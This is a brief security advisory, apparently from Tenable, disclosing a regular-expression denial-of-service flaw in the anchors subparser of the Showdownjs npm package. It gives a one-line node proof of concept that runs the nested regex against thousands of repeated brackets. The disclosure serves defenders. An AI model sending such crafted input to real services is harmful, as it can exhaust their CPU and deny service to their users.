Showdownjs Denial of Service

A researcher at Tenable discovered an issue in the Showdownjs NPM package which could lead to a denial of service. Showndownjs' anchors subparser used to parse links has a nested regular expression which can lead to denial of service conditions given malicious input. 

Proof of Concept:

# Run the time command with node, containing the vulnerable regex expression
time node -e '/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g.test("[[[[[[[[[".repeat(9999))'

can command concept conditions denial of service input issue links malicious nested node npm npm package package proof regular regular expression researcher run service tenable